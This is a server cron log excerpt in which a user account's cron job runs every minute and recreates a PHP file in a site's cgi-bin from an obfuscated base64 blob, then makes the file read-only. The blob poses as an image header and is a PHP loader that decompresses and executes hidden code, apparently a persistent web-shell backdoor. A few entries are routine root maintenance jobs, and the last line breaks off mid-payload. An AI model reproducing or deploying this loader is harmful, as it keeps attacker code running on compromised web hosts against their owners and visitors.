Apr 12 12:21:01 server CROND[30755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:22:01 server CROND[30799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:23:01 server CROND[30862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:24:01 server CROND[30916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:25:01 server CROND[31071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:25:01 server CROND[31072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:25:01 server CROND[31073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:25:01 server CROND[31074]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 12:26:01 server CROND[31197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:27:01 server CROND[31247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 12:27:01 server CROND[31249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:28:01 server CROND[31309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:29:01 server CROND[31369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:30:01 server CROND[31581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:30:01 server CROND[31582]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 12:30:01 server CROND[31584]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:30:01 server CROND[31585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:30:01 server CROND[31588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:31:01 server CROND[31724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:32:01 server CROND[31784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:33:01 server CROND[31839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:34:01 server CROND[31920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMje